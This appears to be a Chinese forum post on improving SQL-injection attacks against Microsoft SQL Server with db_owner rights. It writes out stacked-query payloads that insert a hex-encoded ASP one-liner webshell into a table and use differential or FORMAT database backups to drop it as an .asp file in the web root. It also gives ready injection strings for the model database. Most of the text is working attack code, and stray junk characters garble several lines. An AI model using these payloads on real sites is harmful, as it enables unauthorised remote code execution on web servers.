DB_OWNER权限得到webshell的改进办法

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DB_OWNER权限得到webshell的两点改进:
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1 F- Y, \  k6 Z减少备份文件大小，得到可执行的webshell成功率提高不少
5 F* I' ?7 \) u一利用差异备份
加一个参数WITH DIFFERENTIAL
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
# o5 i2 T0 J5 ]- o) vinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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2 G/ S+ g% y1 x6 s5 }. D二利用完全FORMAT
! }1 V9 X+ I( ^7 z6 h加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

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  s4 G5 M( V4 [/ @0 H) R! ?" p; W declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
8 P) a( v& V# @, C9 r' w/ |declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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+ s# X1 o# W  H9 Q, m2 e# D8 P% d总的来说就是那么简单几句,下面以备份数据库model为例子
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( q; B' A; G# f& z) H id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

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id=1;backup database model to disk='你的路径‘ with differential,format;--
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